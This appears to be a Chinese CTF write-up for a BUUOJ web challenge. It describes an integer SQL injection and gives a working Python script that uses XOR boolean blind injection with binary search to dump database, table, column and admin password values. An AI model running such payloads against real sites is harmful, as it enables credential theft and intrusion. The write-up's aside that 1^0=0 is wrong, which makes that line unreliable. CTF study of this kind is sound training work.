登录时使用burp suite抓包发现是以json传入的数据
进去之后我们发现单击这三个热点分别会有以下三种响应, 因为id=1,所以这里是一个整形注入
异或布尔盲注
异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。
他返回的是json的格式,我们进行json转换后,还得将它转为字符串,才能正确找到
import requests
flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' #库名为news
#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents
#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1' #admin表里有id,username,password,is_enable
# contents表里有id,title,content,is_enable
#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1' #分别查username和password
for i in range(1,100):
low =28
high =137
mid = (low + high) // 2
while(low < high):
url = 'http://0d352472-9f4a-461c-8f07-cebbce1df9e8.node4.buuoj.cn/backend/content_detail.php?id='
payload = payload4.format(i,mid)
url+=payload
print(url)
r = requests.get(url)
text = str(r.json())
if "札师傅缺个女朋友" in text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if(chr(mid)==''):
break
flag +=chr(mid)
print(flag)
print(flag)
#这个代码使用了id=1时的情况,使用了二分法提高了查询的速度
使用查询到的第二个帐号和密码登录即可获得flag